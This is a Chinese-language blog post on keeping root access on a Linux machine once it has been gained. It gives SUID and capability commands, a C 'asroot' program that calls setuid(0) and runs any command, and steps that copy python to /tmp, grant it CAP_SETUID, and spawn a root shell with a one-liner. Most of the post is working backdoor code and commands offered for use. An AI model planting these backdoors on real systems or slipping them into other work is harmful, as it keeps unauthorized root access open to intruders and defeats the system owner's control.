技巧-root权限维持

root权限-维持技巧

参考链接:
https://github.com/422926799/note/blob/master/学习记录/Linux提权/使用功能的Linux特权升级.md
https://422926799.github.io/posts/9dcc308e.html setcap设置的文件可控造成的提权
https://www.freebuf.com/articles/system/244627.html

基础
SUID: SUID代表设置的用户ID,并允许用户以文件所有者的身份执行文件         # 简单理解,被SUID设置过的高权限文件。当低权用户执行时,可获得高权限
chmod u+s /usr/bin/python                # 给予某个文件拥有临时权限
find / -perm -u=s -type f 2>/dev/null    # 使用find命令找出SUID文件

Capabilities的主要思想在于分割root用户的特权,即将root的特权分割成不同的能力,每种能力代表一定的特权操作。例如:能力CAP_SYS_MODULE表示用户能够加载(或卸载)内核模块的特权操作,而CAP_SETUID表示用户能够修改进程用户身份的特权操作。在Capbilities中系统将根据进程拥有的能力来进行特权操作的访问控制
setcap CAP_SETUID+ep /tmp/python         # setcap给予tmp目录下的python一个用户临时执行权限
getcap -r  / 2>/dev/null                 # 检索setcap所设置的文件
方法一 使用自己编译的文件
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/*
 *      Asroot  - execute a command with root permissions.
 *                compile with 'cc -o asroot asroot.c'
 *                then 'chown root asroot; chmod u+s asroot'.
 *
 *      This program is a convenience for single-user systems,
 *      BUT it is a MASSIVE security hole.  Please use caution.
 */

extern char **environ;

void main(int argc, char **argv ) {
        int retcode;
        char string[260];

        setuid( 0 );

        if ( argc > 1 ) {
                execvp( argv[1], &argv[1] );
                fprintf( stderr,"%s: execution of '%s' failed: ", argv[0], argv[1] );
                perror( "" );
                exit( 1 );
        }
}


赋予上面编译好的文件权限
gcc -o test test.c    # 编译

setcap CAP_SETUID+ep ./file        # setcap CAP_SETUID+ep /tmp/python     setcap给予tmp目录下的python一个用户临时执行权限

用法: ./test whoami
方法二 使用系统自带的文件(perl, python, tar)
whereis python

cp /usr/bin/python  /tmp/python

setcap CAP_SETUID+ep /tmp/python

./python -c 'import os;os.setuid(0);os.system("/bin/bash")'
posted @ 2022-11-20 16:24  是谁走漏了消息  阅读(42)  评论(0编辑  收藏  举报